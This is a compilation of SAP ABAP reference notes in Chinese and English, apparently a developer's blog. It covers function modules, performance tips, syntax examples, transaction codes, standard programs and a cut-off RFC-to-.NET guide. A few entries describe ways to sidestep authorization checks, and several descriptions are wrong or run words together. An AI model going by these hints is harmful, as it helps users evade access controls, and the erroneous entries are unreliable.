LIST_TO_ASCII –将ABAP报表从 OTF形式转换成ASCII 形式。
LIST_FROM_MEMORY – Retrieves the output of a report from memory when the report was executed using SUBMIT。。。EXPORTING LIST TO MEMORY。 See also WRITE_LIST。
MONTH_NAMES_GET – 获得所有的月和名字
**** MS_EXCEL_OLE_STANDARD_OLE – 创建一个文件并自动启动Excel 。
CONVERT_OTFSPOOLJOB_2_PDF - converts a OTF spool to PDF (i。e。 Sap script document)
CONVERT_ABAPSPOOLJOB_2_PDF -convert ABAP spool output to PDF
POPUP_TO_CONFIRM_LOSS_OF_DATA – 弹出一个对话框告知用户有可能丢失数据,询问是否操作继续。
POPUP_TO_CONFIRM_STEP -弹出一个对话框询问用户是否操作继续。
POPUP_TO_CONFIRM_WITH_MESSAGE 可以显示定制的提示信息的确认窗口 类似POPUP_TO_CONFIRM_STEP,只是多三行的文本错误诊断提示。
POPUP_TO_CONFIRM_WITH_VALUE 用此函数可以建立一个对话框用于询问用户是否执行某步操作,该操作可能会丢失数据,用户可以选择Yes No 或者Cancel。该函数可以传入一个标题,两行的文本(提示问题)和一个对象值
POPUP_TO_DECIDE 显示一个对话框,用户可以两个操作中的一个或者取消。可以传入三行提示文本
POPUP_TO_DECIDE_WITH_MESSAGE 类似POPUP_TO_DECIDE
POPUP_TO_DISPLAY_TEXT 显示多行信息的窗口
POPUP_TO_SELECT_MONTH –弹出一个对话框供选择月。
POPUP_WITH_TABLE_DISPLAY -Provide a display of a table for user to select one,
with the value of the table line returned when selected。
PRICING – 获得定价条件
PROFILE_GET - 从INI文件读取一条记录
PROFILE_SET – 往INI文件写一条记录
READ_TEXT – 上传长文本
REGISTRY_GET – 从注册表读取一条记录
REGISTRY_SET – 在注册表里设置一条记录
RFC_ABAP_INSTALL_AND_RUN – 当MODE参数值为‘F’时运行PROGRAM表中的程序'.
RH_GET_ACTIVE_WF_PLVAR – 获得激活的HR计划
RH_START_EXCEL_WITH_DATA – 启动Excel并用内表给文件赋值
RH_STRUC_GET –返回所有相关的组织信息
RP_CALC_DATE_IN_INTERVAL – 年月日加减
RP_LAST_DAY_OF_MONTHS – 获得一个月的最后一天
RPY_DYNPRO_READ – 读取屏幕
RPY_TRANSACTION_READ – 给定一个事务代码,获得其程序和屏幕;或给定一个程序和屏幕获得事务代码
RS_COVERPAGE_SELECTIONS – 获得一个报表的选择参数列表。
RS_REFRESH_FROM_SELECTOPTIONS –获得当前选择屏幕的内容
RS_SEND_MAIL_FOR_SPOOLLIST – 在程序中给SAP office 发送消息
RS_VARIANT_CONTENTS – 获得一个变式的内容
RZL_SLEEP – 将当前程序挂起
RZL_SUBMIT – 提交一个远程报表
RZL_READ_DIR_LOCAL – 读取应用服务器的目录
RZL_READ_DIR – 如果服务器名字左部为空,从本地读取目录,否则读取远程服务器的目录
RZL_READ_FILE – 如果为给定服务器名字则读取本地文件,否则读取远程服务器文件。
RZL_WRITE_FILE_LOCAL - 将内表保存到显示服务器(not PC). 不使用OPEN DATASET因此避免了授权检查。
SAPGUI_PROGRESS_INDICATOR – 显示一个进度条
SAVE_TEXT – 上传长文本
SCROLLING_IN_TABLE –当编写模块池的时候可以用它来处理滚动
SD_DATETIME_DIFFERENCE – 两日期作差
SO_NEW_DOCUMENT_ATT_SEND_API1 - 将文档作为邮件的一部分发送
SO_SPLIT_FILE_AND_PATH – 将一个包含路径的全文件名分割为文件名和路径
SO_SPOOL_READ – 根据SPOOL号获得printer spool
SO_WIND_SPOOL_LIST – 根据用户浏览printer spool号
SX_OBJECT_CONVERT_OTF_PDF – 从OTF转换为PDF (SAP 脚本转换)
SX_OBJECT_CONVERT_OTF_PRT – 从OTF转换为打印机格式(SAP 脚本转换)
SX_OBJECT_CONVERT_OTF_RAW – 从OTF转换为ASCII(SAP 脚本转换)
SXPG_CALL_SYSTEM - 检查用户是否有执行某个命令的权限
SXPG_COMMAND_LIST_GET – 获得一个包含所有定义的外部OS命令的列表.
SXPG_COMMAND_DEFINITION_GET – 从R/3系统数据库读取单个外部OS命令的定义
SXPG_COMMAND_CHECK - 检查用户是否有执行某个命令的权限
SXPG_COMMAND_EXECUTE -检查用户是否有执行某个命令的权限,拥有授权则执行命令
TERMINAL_ID_GET –返回终端ID
TH_DELETE_USER – 剔除一个用户,效果同SM04
TH_ENVIRONMENT – 获得UNIX环境
TH_POPUP –在特定用户屏幕上显示一个系统消息
TH_REMOTE_TRANSACTION – 在远程服务器上运行事务代码
TH_USER_INFO – 获得当前用户的信息 (会话,登陆的工作台等)
TH_USER_LIST –显示登陆到应用服务器的用户列表
UNIT_CONVERSION_SIMPLE –衡量单位转换
UPLOAD –上传文件到显示服务器
UPLOAD_FILES – 上传一个或多个文件
WRITE_LIST –显示一个列表对象
WS_DOWNLOAD –将内表下载到显示服务器
WS_EXCEL –启动EXCEL
WS_EXECUTE –执行一个程序
WS_FILE_DELETE – 删除一个文件
WS_FILENAME_GET –调用文件选择对话框
WS_MSG –显示一个对话框显示在线消息
WS_UPLOAD – 从显示服务器上传文件到内表
WS_VOLUME_GET –获得终端设备标签
WWW_LIST_TO_HTML – 运行一个报表之后,调用这个方法将列表输出转换成HTML
SD_VBAP_READ_WITH_VBELN 根据销售订单读取表vbap中的信息
EDIT_LINES 把READ_TEXT返回的LINES中的行按照TDFORMAT=“*”重新组织
VIEW_MAINTENANCE_CALL 维护表视图
DY_GET_FOCUS 获得屏幕焦点
DY_GET_SET_FIELD_VALUE 获得或者设置屏幕字段的值
F4IF_INT_TABLE_VALUE_REQUEST 显示检索help
CONVERSION_EXIT_CUNIT_OUTPUT 单位转换
SJIS_DBC_TO_SBC 全角转半角
SJIS_SBC_TO_DBC 半角转换为全角
CO_R0_CHECK_DECIMAL_POINT 根据单位检查数据的小数位
POSTAL_CODE_CHECK 检查邮政编码 GET_JOB_RUNTIME_INFO 获得job相关信息
TERMINAL_ID_GET 获得终端
idDATE_CONVERT_TO_FACTORYDATE 把输入日期转为工厂日历日期
MESSAGE_TEXT_BUILD 把消息转为文本
CONVERT_TO_LOCAL_CURRENCY 按照指定日期汇率转换金额为指定货币类型
SSF_FUNCTION_MODULE_NAME 根据form名取得对应的函数名(SmartForm)
DATE_CHECK_PLAUSIBILITY 检查日期合法性
CHECKcl_gui_frontend_services=>gui_upload 上传到服务器
cl_gui_frontend_services=>gui_download 下载到本地
SSF_FUNCTION_MODULE_NAME SMARTFORMS输出报表时,生成一个函数名称,然后CALL这个名
通过这个日期得出那天是星期几
DAY_IN_WEEK
用来得到将来/过去的日期的
RP_CALC_DATE_IN_INTERVAL
日期的加减
BKK_ADD_MONTH_TO_DATE
一组有用的用户交互窗口函数
POPUP_TO_CONFIRM_LOSS_OF_DATA 显示有YES/NO的弹出窗口,提示用户未保存的数据将丢失
POPUP_TO_CONFIRM_STEP 提示是否确认操作的弹出窗口
POPUP_TO_CONFIRM_WITH_MESSAGE 可以显示定制的提示信息的确认窗口
POPUP_TO_CONFIRM_WITH_VALUE 显示确认用户对某个特定对象的操作的弹出窗口
POPUP_TO_DECIDE 将待确认选项以单选按钮的方式显示的弹出窗口
POPUP_TO_DECIDE_WITH_MESSAGE 带消息的确认窗口
POPUP_TO_DISPLAY_TEXT 显示多行信息的窗口
POPUP_TO_SELECT_MONTH 月份选择窗口
POPUP_WITH_TABLE_DISPLAY 有表格对象的确认窗口
一组操纵客户端文件系统的函数
GUI_CREATE_DIRECTORY 在PC上建立文件目录
GUI_DELETE_FILE 删除PC上的文件
GUI_DOWNLOAD 文件下载函数
GUI_EXEC 执行PC上的程序,或者打开文件
GUI_GET_DESKTOP_INFO 得到PC客户端的系统信息,比如操作系统等
GUI_REMOVE_DIRECTORY 删除PC目录
GUI_RUN 运行PC程序(ShellExecute)
GUI_UPLOAD 从PC上传程序
判断某天是否是假日
HOLIDAY_CHECK_AND_GET_INFO
ABAP_DOCU_DOWNLOAD
Download ABAP documentation in HTML format.
GET_CURRENT_YEAR
得到当前的财政年(fiscal year)
察看某日期的属性,包括该日期是星期几,第几天(周2=2),是不是公共假期等,需要输入国家日历。
DAY_ATTRIBUTES_GET
Return useful information about a day. Will tell you the day of the week as a word (Tuesday), the day of the week (2 would be Tuedsay), whether the day is a holiday, and more.(provided by Francois Henrotte)?
CLPB_IMPORT :从剪贴板导入internal table
CLPB_EXPORT : 从internal table输入到剪贴板
示例程序:GRCLPB_1
=======
沟通无限
msn:erp.expert@hotmail.com
sap abap programming---关于ABAP程序执行效率和优化(z)
程序的效率是每个程序员都应该重视的,无论是采用的哪一种语言进行开发.
在我做过的一个项目中,一个几万条数据的运行,在没有考虑效率,对代码没有进行优化前的运行时间是7个小时,当对代码进行一系列的优化修改后,运行的时间就只剩一个小时,由此可见,代码的优化是多么的重要。
那么,我们在写ABAP程序时,怎样的语句才能提高到效率呢,下面是我总结到的几点:
1、抽取数据时,避免使用SELECT *, 尽量使用SELECT A B INTO TABLE ITAB这样的语句。
2、不要使用SELECT...ENDSELECT语句。
3、尽量避免在LOOP中访问数据库。可以在之前先把数据取到内表,在LOOP中用READ TABLE WITH KEY ... BINARY SEARCH.进行读取对应的数据。
4、用SORT代替ORDER BY。
5、避免使用嵌套的循环。
6、尽量不要使用JOIN进行多表连接。把一个表的数据先取到内表,然后使用FOR ALL ENTRIES语句再进行抽取。
7、使用二分查找法。
READ TABLE的之前使用SORT TABLE BY对内表进行排序, 然后使用READ TABLE WITH KEY ...BINARY SEARCH.
8、避免使用SELECT DISTINCT语句。在抽取数据到内表后用DELETE ADJACENT DUPLICATES语句来消除重复行。
9、尽量加多WHERE语句进行条件抽取。
以上,说的还不全,会进行不断更新。
另外,可以通过TCODE:ST05 SE30 进行程序和SQL语句性能和效率的分析
sap 在ABAP 中 MOVE ... TO 和 WRITE ... TO 的区别
WRITE ... TO 把源的格式 附值到目标。
MOVE ... TO 直接把源的值附到目标。
示例:
data: gv_char1(20) type c,
gv_char2(20) type c,
dec1(10) type p decimals 2 value '22345.89'.
start-of-selection.
* date *
write:/ 'date variable'.
write sy-datum to gv_char1.
write:/ 'write to', gv_char1.
move sy-datum to gv_char2.
write:/ 'move to', gv_char2.
skip 1.
* decimal *
write:/ 'decimal variable'.
write dec1 to gv_char1.
write:/ 'write to', gv_char1.
move dec1 to gv_char2.
write:/'move to', gv_char2.
Assigning Values with MOVE
To assign the value of a data object source to a variable destination, use the following statement:
MOVE source TO destination.
or the equivalent statement
destination = source.
The content of source remains unchanged, source does not therefore have to be a variable - it can also be a literal, a text symbol, or a constant. You must always specify decimal points with a period (.), regardless of the user’s personal settings.
Multiple assignments
f4 = f3 = f2 = f1.
are also possible. ABAP processes them from right to left as follows:
MOVE f1 TO f2.
MOVE f2 TO f3.
MOVE f3 TO f4.
In the MOVE statement (or when you assign one value to another with the equal sign), it is not possible to specify the field names dynamically as the contents of other fields. If you need to do this, you must use field symbols .
The source and target fields can be of different data types. The result of the value assignment depends on whether these data types are compatible and whether a type conversion can be performed. If there is no conversion rule between the data types in question, no assignment can be made.
DATA: t(10) TYPE c,
number TYPE p DECIMALS 2,
count TYPE i.
t = 1111.
MOVE '5.75' TO number.
count = number.
Following these assignments, the fields t, number and count have the values ‘1111 ’, 5.75, and 6 respectively. When you assign the number literal 1111 to T, it is converted into a character field with length 10. When you assign number to count , the decimal number is rounded to an integer (as long as the program attribute Fixed pt. arithmetic has been set).
Assigning Values Between Components of Structures
The rules for value assignments between data objects also apply to structures. With the command
DATA: struct1 TYPE structure,
struct2 TYPE structure.
struct1 = struct2.
two structures of the same type can be assigned to one another without difficulty. Here, the entire source structure is seen as a unit and copied to the source structure. It is then possible to access the components individually again. If the structures in question are not compatible, see the conversion rules for structures.
In practice, however, you will often only need to assign certain components of a structure to be certain components of another structure. ABAP has a special statement for this purpose:
MOVE-CORRESPONDING sourcestruct TO destinationstruct.
This statement assigns the contents of the components of structure sourcestruct to the components of the destinationstruct structure that have identical names.
When it is executed, it is broken down into a set of MOVEstatements, one for each pair of fields with identical names, as follows:
MOVE sourcestruct-comp1 TO destinationstruct-comp1.
MOVE sourcestruct-comp2 TO destinationstruct-comp2.
...
Any necessary type conversions are performed individually.
DATA: BEGIN OF address,
firstname(20) TYPE c VALUE 'Fred',
surname(20) TYPE c VALUE 'Flintstone',
initials(4) TYPE c VALUE 'FF',
street(20) TYPE c VALUE 'Cave Avenue',
number TYPE i VALUE '11',
postcode(5) TYPE n VALUE '98765',
city(20) TYPE c VALUE 'Bedrock',
END OF address.
DATA: BEGIN OF name,
surname(20) TYPE c,
firstname(20) TYPE c,
initials(4) TYPE c,
title(10) TYPE c VALUE 'Mister',
END OF name.
MOVE-CORRESPONDING address TO name.
In this example, the values of name-surname, name-firstname and name-initials are set to 'Flintstone’, ‘Fred’, and 'FF'. name-title always has the value ‘Mister’.
sap ABAP--关于Data Reference的使用---FIELD-SYMBOLS
Data References(只能指向abap定义的基本数据或者基本数据组合体)
1、定义数据参考变量(Data References)
DATA dref TYPE REF TO DATA.(指向任意类型,但在创建时必须指定对象类型)
DATA dref TYPE REF TO DATA_TYPE.
或者
TYPES t_dref TYPE REF TO DATA.
DATA dref TYPE t_dref.
在完成地址变量定义时,变量没有指向任何对象,此时你不可引用。只有在变量赋值后在引用。地址变量的赋值有两种方法:
CREATE DATA
GET REFERENCE OF dobj INTO dref.
2、动态创建数据参考的内存空间(CREATE DATA)
CREATE DATA dref {TYPE type}|{LIKE dobj}这种语句创建的对象没有名称,只有地址变量指向该内存变量;在申明参考变量时,未指定类型则必须加{TYPE type}|{LIKE dobj}说明。
有时需要动态创建动态类型数据对象,语法如下
CREATE DATA dref TYPE (name).
3、将数据地址赋值给数据参考变量(GET REFERENCE)
GET REFERENCE OF dobj INTO dref.
4、访问数据参考变量指定的数据
访问数据参考变量指定的数据有两种情况:
1) 对于使用DATA dref TYPE REF TO DATA_TYPE来声明的数据参考变量,程序可以直接通过->*运算符直接访问数据;
代码样例
types: begin of STRUC_1,
A type I,
B type ref to SFLIGHT,
C type P,
end of STRUC_1.
data: S1 type STRUC_1.
types: begin of STRUC_2,
X(10) type C,
Y type ref to STRUC_1,
Z type I,
end of STRUC_2.
data: S2 type STRUC_2,
R2 type ref to STRUC_2.
if S1-A > 10.
create data S1-B.
S1-B->CARRID = 'LH'.
S1-B->PAYMENTSUM = 1000.
endif.
S2-Y->A = 100.
S2-Y->*-A = 200. "Same as S2-Y->A
S2-Y->B->FLDATE = SY-DATUM.
2) 对于使用DATA dref TYPE REF TO DATA来声明的数据参考变量,程序如果要访问数据参考变量指定的数据,你首先要将数据参考变量赋值给一个字段符号(Field sysbol)(是不能直接通过数据参考变量来访问的).如果数据参考变量为初始化状态, sy-subrc就返回4。
ASSIGN dref->* TO <fs> [CASTING ...].
代码样例
DATA: numref TYPE REF TO DATA,
number TYPE I VALUE 123.
FIELD-SYMBOLS: <fs> TYPE ANY.
GET REFERENCE OF number INTO numref.
ASSIGN numref->* TO <fs>.
===================================
沟通无限
msn:erp.expert@hotmail.com
sap abap系统自定的变量(TCODE)
sy-tabix 例如在loop的时候,此变量就代表当前所在行的index.
sy-tabix contains the index of the appended line.
sy-index 一个随着循环而增加的数字
sy-dyngr four character id placed in system field sy-dyngr while screen is prossed.
sy-title at runtime it contains the title.
se51 screen painter
tfawf Field selection: Modifiable fields
sy-repid 当前的program name
sy-tcode 当前系统的tcode
screen-input=0表示禁止输入
screen-active=0表示此按钮不可用。
screen-invisible表示是否可见
we02 display idoc we09 search idoc we19 test idoc
tfawf Field selection: Modifiable fields
sy-dyngr four character id placed in system field sy-dyngr while screen is prossed.
sy-title at runtime it contains the title.
sy-dbcnt 正在处理的数据笔数
SE01: Create Customizing Transport.
SE11: Data Dictionary.
SE13: ABAP Dictionary.
SE14: Database Utility.
SE15: Respository Information System.
SE16: Data Browser.
SE17: General Table Display.
SE18: BADI Definition.
SE19: BADI Implementation.
SE37: Function Module.
SE38: Create Program.
SE51: Screen Painter.
SE55: Table View Maintenance.
SE71: Copy Script.
SE78: Upload graphics(RSTXLDMC).
SE81: Locating Customer Exit.
SE80: Function Groups.
SE91: Message Class.
SE93: Create Transaction Code.
SM30: Table Maintenance.
SM37: Background Processing.
SO10: Standard Text.
SCC1: Copy From Client.
RSTXSCRP: SAP Script.
SMOD: Locating Customer Exit.
WE42: Inbound Processing Procedure.
WEDI: IDOCS Area Code.
WE21: Port Definition.
WE01: View IDOCS.
SY-UZEIT: Current System Time.
SY-DATUM: Current System Data.
SY-TABIX: Index of Appended Line.
SY-SUBRC: Return Value After Specific Statements.
SY-DBCNT: Number of Elements in the Edited Dataset.
SY-LINSZ: Line Size.
SY-UCOMM: Current Function Code.
SY-DATAR: Check if a User Made Any Input.
SY-CPROG: Getting the Current Program Name.
最后下面是关于XI的tcode
ALRTCATDEF- Alerts Configuration.
ALRTDISP - Display of Alerts Created
SXMB_IFR -> Start Integration Builder
SXMB_MONI -> Integration Engine - Monitoring
SXI_MONITOR -> XI: Message Monitoring
SXI_CACHE -> To Access IS runtime cache
SXI_SUPPORT -> Test all the Repository and Directory Objects
SXI_CACHE -> XI data directory cacheidx1 -> idoc adapter
IDX2 -> idoc metadata
IDX5 -> monitor idoc adapter
ST22 -> ABAP dump analysis
SMQ1 -> messages inbound e outbound queue
SMQ2 -> messages inbound e outbound queue
SMICM -> J2EE administration
ST06 -> Operating System Monitor. cpu memory filesystem machine status - cpu, memory and file system.
ST03 -> workload.
SCC4 -> Client Administration
sale - ale settings
RZ10 - edit system profile
SM59 ->mantain rfc destinations
BD64 -> mantain distribution model (trasformazioni)
AL08 -> list all logged users(user login logon)
SE10 -> Change Request
SE09 -> Change Request
WE05 -> All idocs
WE19 -> IDoc Test Tool
WE21 -> port definition
SE11 -> Data dictionary
se37 -> mantain funcion modules
SICF -> http server configuration
SMGW -> Gateway Monitor
BD13 ->
BD64 -> Maintenance of Distribution Model
PFCG -> Roles
table TSTC -> sap transactions codes
table TSTCT -> transaction descriptions
STMS -> transports management
SPAM -> apply ABAP support packages
SPAU -> manage objects after apply support packages
SE01 -> manage change requests
SLDCHECK -> Test SLD Connection
SLDAPICUST-> SLD API Customizing
SXMB_ADM -> Integration Engine - Administration
SXMB_MONI_BPE -> Process Engine - Monitoring
SE38 -> ABAP Editor
SE11 -> ABAP Dictionary
ST22 -> ABAP dump analysis
SPROXY-> ABAP Proxy Generation
SE80 -> Object Navigator
ABAPDOCU -> ABAP Documentation and Examples
SE24-> Class Builder
SM21-> Online System Log Analysis
SMQ1-> qRFC Monitor (Outbound Queue)
SMQ2-> qRFC Monitor (Inbound Queue)
RZ70-> SLD Administration
SM58-> Asynchronous RFC Error Log
SM59-> RFC Destinations (Display/Maintain)
SMICM-> ICM Monitor
WE60-> Documentation for IDoc types
BD87-> Status Monitor for ALE Messages
IDX1-> Port Maintenance in IDoc Adapter
IDX2-> Meta Data Overview in IDoc Adapter
WE02-> Display IDoc
WE09-> Search for IDocs by Content
WE20-> Partner Profiles
SE16-> Data Browser
SE93-> Maintain Transaction Codes
SM30-> Call View Maintenance
SU01-> User Maintenance
SM02-> System Messages
BD54 -Logical System Creation.
SWF_XI_PBUILDER -> for Detail BPM Process
SMQS - > to register the destination in QOUT scheduler
WEOUTQUEUE - > to start the queue processing
SMQR - > to register the queue
IDXPW - > to activate the IDOC message package
IDXP - > to monitor the message packages.
SWF_XI_CUSTOMIZING -> transaction to check prerequisites for integration processes.
SWF_XI_ADM_BPE-> Start or Stop BPE
SWF_XI_ADM_BPE_DISP-> Display BPE Status
SXI_MAPPING_Test--> Test ABAP Mapping
sap ABAP基础 programming
使用IF的条件分支
IF <condition1>.
<statement block>
ELSEIF <condition2>.
<statement block>
ELSEIF <condition3>.
<statement block>
.....
ELSE.
<statement block>
ENDIF.
l 例子:
l DATA flag TYPE c VALUE ‘a'.
l IF flag = ‘a‘.
l WRITE / ‘true‘.
l ELSE.
l WRITE / ‘error'.
l ENDIF.
l 产生如下输 出:
true
使用CASE的条件分支
基本语法:
CASE <f>.
WHEN <F1>.
<statement block>
WHEN <F2>.
<statement block>
WHEN <F3>.
<statement block>
WHEN ...
......
WHEN OTHERS.
<statement block>
ENDCASE.
l 例子:
l DATA: TEXT1 VALUE 'X',
TEXT2 VALUE 'Y',
TEXT3 VALUE 'Z',
STRING VALUE 'A'.
l CASE STRING.
WHEN TEXT1.
WRITE: / 'String is', TEXT1.
WHEN TEXT2.
WRITE: / 'String is', TEXT2.
WHEN TEXT3.
WRITE: / 'String is', TEXT3.
WHEN OTHERS.
WRITE: / 'String is not', TEXT1, TEXT2, TEXT3.
ENDCASE.
l 产生如下输出: String is not X Y Z
l 这里,执行WHEN OTHERS后面的语句块,因为 STRING 的内容“A” 不等于“X” 、“Y”或 “Z”,
循环结构(DO,WHILE)
使用DO的无条件循环
DO
[<n>TIMES]
[VARYING <f> FROM <F1> NEXT <F2>].
<statement block>
ENDDO.
• TIMES 循环次数,
• VARYING选项在每次循环中给变量<f>重新赋值
• <n>可以是文字或变量。如果<n>是0或负数,系统不执行该循环
• 使用 DO 语句时要避免死循环。 如果不使用 TIMES 选项,则在语句块中至少应包含一个 EXIT、 STOP 或 REJECT 语句,以便系统能够退出循环。
• 例子:
• DO.
• WRITE SY-INDEX.
• IF SY-INDEX = 3.
EXIT.
ENDIF.
• ENDDO.
• 产生如下输出:
• 1 2 3
• 这里,处理 3 次循环,然后在 EXIT 语句后退出循环。
• SY-INDEX代表循环次数
使用WHILE的条件循环
语法:
– WHILE <condition> [VARY <f> FROM <F1> NEXT <F2>].
<statementblock>
ENDWHILE.
• 循环终止(CONTINUE,CHECK,EXIT)
无条件终止循环:CONTINUE
DO 4 TIMES.
IF SY-INDEX = 2.
CONTINUE.
ENDIF.
WRITE SY-INDEX.
ENDDO.
输出结果:
1 3 4
• 有条件终止循环:CHECK <condition>
DO 4 TIMES.
CHECK SY-INDEX BETWEEN 2 and 3.
WRITE SY-INDEX.
ENDDO.
输出结果:
2 3
3
完全终止循环:EXIT
DO 4 TIMES.
IF SY-INDEX = 3.
EXIT.
ENDIF.
WRITE SY-INDEX.
ENDDO.
输出结果:
1 2
sap abap----常用的SAP标准函数(sap abap standard function)---and SAP standard programs
Function Module
Description
ABAP4_CALL_TRANSACTION
Call transaction code, also see SAPGUI_SET_FUNCTIONCODE
ADDR_PERS_COMP_COMM_GET
Get additional user address details not retrived by SUSR_USER_ADDRESS_READ (i.e. email address)
BAPI_COMPANYCODE_GET_PERIOD
Retrieve fiscal year and payrole period (based on date and company code)
CALCULATE_DATE
Increase/decrease DATE by a specific number of Days/Months
CONVERT_DATE_TO_EXTERNAL
Converts date from system storage format to users specified display format
CREATE_TEXTS
Create standard texts (i.e. PO headers texts)
CURRENCY_AMOUNT_SAP_TO_DISPLAY
Convert currency value from value stored in SAP to displayed currency
CURRENCY_AMOUNT_DISPLAY_TO_SAP
Convert currency value from displayed currency value to value stored in SAP
CLPB_EXPORT
Export files to clipboard
CLBP_IMPORT
Copies clipboard into table
DATE_COMPUTE_DAY
Returns day of the week for a particular date(1=Monday, 5=Friday etc.)
DATE_TO_DAY
Returns day of the week for a particular date('Monday', 'Friday', 'Sat.')
ENQUEUE_READ
Returns list if active lock objects
DETERMINE_PERIOD
Retrieve fiscal year and payrole period (Note: verision parameter is fiscal year varient from table T009)
DYNP_VALUES_UPDATE
Return values (i.e. from an F4 value request) into respective fields on a dynpro.
F4IF_INT_TABLE_VALUE_REQUEST
Display internal table as search help (documented in SAP)
FILE_GET_NAME
Retrieve Logical file path.
Use Transaction 'FILE' to view/create logical file paths
FTI_FISCAL_YEAR_MONTH_GET
Returns fiscal year for specific date
GUI_DOWNLOAD, WS_DOWNLOAD, DOWNLOAD
Download file to PC
GUI_UPLOAD, WS_UPLOAD, UPLOAD
Upload file from PC
HR_SEN_CRULE_0100_DATE
Increase/decrease DATE by a specific number of Days/Months/Years
JOB_OPEN, JOB_SUBMIT, JOB_CLOSE
Create and submit background jobs.
MESSAGE_TEXT_BUILD
Builds actual message based on info returned from Call transaction
NUMBER_GET_NEXT
Get the next unique number in a number range. Use tcode SNRO for maintaining number ranges.
NUMBER_CHECK
Check if number is within a number range (see tcode SNRO)
NUMBER_GET_INFO
Get info about number range (see tcode SNRO).
POPUP*
Display Pop-up Screen(s)
READ_TEXTS
Retrive standard texts (i.e. PO headers texts)
READ_EXCHANGE_RATE
Retrieve exchange rate on a particular date
RS_CREATE_VARIANT
Creating a Report Variant
RS_VARIANT_CONTENTS
Returns contents of a variant, is also useful as the result lists all variable names that could be set on screen.
RZL_READ_DIR_LOCAL
Get list of files within specific directory(Application Server)
SAPGUI_SET_FUNCTIONCODE
Execute SAP function code. Can also be used to execute transaction code by using '/o' i.e. '/OSE80'.
STUM_WP_TOTAL_ACTIVITY
Retrieves list of all process from all servers (i.e. SM50, SM66). Also returns a second table, containing a list of all the servers.
STUM_WP_SERVER_ACTIVITYS
& EW_TH_WPINFO
Retrieves list of processes on current server.
SUSR_USER_ADDRESS_READ
Get user address details stored under 'Own data'
SUSR_USER_PARAMETERS_GET
Get user parameter details stored under 'Own data'
SUSR_USER_DISPLAY_WITH_AUTHS
Displays user authorisation objects (Note: may have to debug around authority checks)
SUSR_USER_AGR_ACTIVITYGR_GET
Get users activity group details
SUSR_SYNC_USER_TABLES
Sync USR tables
SXPG_COMMAND_EXECUTE
Execute external command(FTP data in & out of SAP)
TH_POPUP
Display Windows Message on Users Screen
WS_EXECUTE
Execute External Program
===========================================================================
SAP standard programs
Program
Description
BALVBT01
Example SAP program for displying multiple ALV reports on one page
BCALV_GRID_DEMO
ALV Dialog grid demo (4.6)
SHOW_COLO
Displays all colours available
SHOW_ICON
Displays all icon available
RGUGBR00
Substitution/Validation and rules utility
RKCTSEAR
Search source code of various programs for up to two strings. Also see RPR_ABAP_SOURCE_SCAN or use search in source functionality via SE80
RPCIFU01
Display File
RPCIFU03
Download Unix File to PC
RPCIFU04
Upload PC File to Unix File
RPR_ABAP_SOURCE_SCAN
Search ABAP code for a string. Much more flexible than RSRSCAN1 or RKCTSEAR
RSBDCBTC
Submit a BDC job with an internal batch number and wait for the end of the batch input session
RSBDCDRU
Prints the contents of a Batch Input session. No options for error transactions only
RSBDCOS0
Execute OS Command (Logged in SYSLOG and Trace Files)
RSBDCSUB
Process batch input sessions automatically
RSBTCDEL
Delete batch jobs
RSCONN01
SAPconnect: Start Email Send Process
RSCSAUTH
Maintain/Restore Authorization Groups
RSINCL00
Extended ABAP Program Reference List
RSMODRES
Restore enhancement projects after upgarde
RSORAREL
Check Oracle Version
RSPARAM
Display all instance parameters
RSPO0041
Delete Old Spool Requests
RSSNAPDL
Reorganization Program for Table SNAP of Short Dumps
RSTRANSP
Transport Report Variants
RSTXFCON
SAPscript: Conversion of Page Format for Forms
RSTXPDFT4
Convert spool request to PDF document
RSTXPDFT5
GUI download of a spool request
RSTXSCRP
SAPscript Export to Dataset / SAPscript Import from Dataset (Upload and download SAPScript layout sets)
RSTXTRAN
Transfer of SAPscript Texts(standard texts) to a transport
RSUSR003
Check the Passwords of Users SAP* and DDIC in All Clients
RSUSR006
List of Users with Incorrect Logons
RSVARFIT
Adjust Variants to Modified Selections
RSVTPROT
Evaluation of change logs
RSWBO052
Change Object Directory Entries
RSWBO060
Include Objects in a Transport Request
SAPMSUU0
Program for user maintenance(SU01), Maybe useful if you do not have access to the actual SU01 transaction code.
SAP如何通过RFC连接.NET(sap abap .net programming)
The following steps need to create server side application.
1. Create a SAP Connector Class - Application ( Under Visual C# Projects ) and give the RFC name and build the application.
2. Inside this application, write your .net code as per your requirement.
3. After completed, this application will create an exe file ( Under the folder binrelease ).
4. You need to pass the command line parameters to execute this exe file. Command line parameters are
-a<registeration Name> -g<SAP Server Name/IP Address> -X<Sap Gateway>
For example:-aREG -gSAPSER1 -xSAPGW00
5. Create a RFC destination in SM59, Under TCP/IP.Technical Settings --> Activation Type --> Registered Server Program ( Need to be selected ).
Program ID must be your registeration name : TDS - SAP的RFC中Program ID 在.NET里面的名称是随便命名的。
Gateway Options are
Gateway Host:SAPSER1(10.1.2.150)-SAP服务器的IP地址
Gateway Service:SAPGW00-SAP网关
For the parameter Gateway Host, you should enter the hostname of your SAP application server. The value for the parameter Gateway Service is usually SAPGW<XX>, where the XX is the system number of your SAP system.
6. Write an ABAP program to call the RFC with destination as created in 5th setp.
7. The exe file should run in the same domain/LAN of your SAP server. You can test the connection in SM59.It should be obvoius that the main option is "Registered Server Program" and not "Start...".
And "ProgramID" or "registration name" is an arbitrary string that just need to be equal in SM59 and at the command line of the RFC server.
1.查看.NET注册的Program ID是否运行
It sounds like that another RFC server program with the same Program ID is running there and the SAP gateway is "balancing" the load between your RFC server and that one.
You can use SMGW->GoTo->Logged on Clients to check all registered RFC servers and their programIDs (TP name).
2.Tcode:SM59 - 创建RFC连接,选择TCP/IP连接
3.Calling RFC .NET Server from SAP Programs
To execute our .NET server stub application from the SAP system we need to execute the ABAP command Call function X Destination Y. This report calls our proxy and writes the results to screen. Alternatively, you can use the SAP function module’s single test capability with the TRFC destination for your .NET server stub.
To create a TRFC destination for the SAP .NET server stub create a destination of type T (TRFC) in transaction code SM59. The program ID in your server stub is case sensitive.
Example
*&---------------------------------------------------------------------
*& Report ZRFCSERVERCALL
**&--------------------------------------------------------------------
*& This program can be used with the RFCServerConsole sample
*& Source is available in %RFCServerConsoleABAPProgram
*&---------------------------------------------------------------------
REPORT ZRFCSERVERCALL .
DATA: TBLCUST like BRFCKNA1 occurs 0 with header line.
PARAMETERS: P_CUSTNO like KNA1-KUNNR, P_CUSTNA like KNA1-NAME1,
P_DEST(15) TYPE C.
CALL FUNCTION 'RFC_CUSTOMER_GET' DESTINATION P_DEST
EXPORTING
KUNNR = P_CUSTNO
NAME1 = P_CUSTNA
TABLES
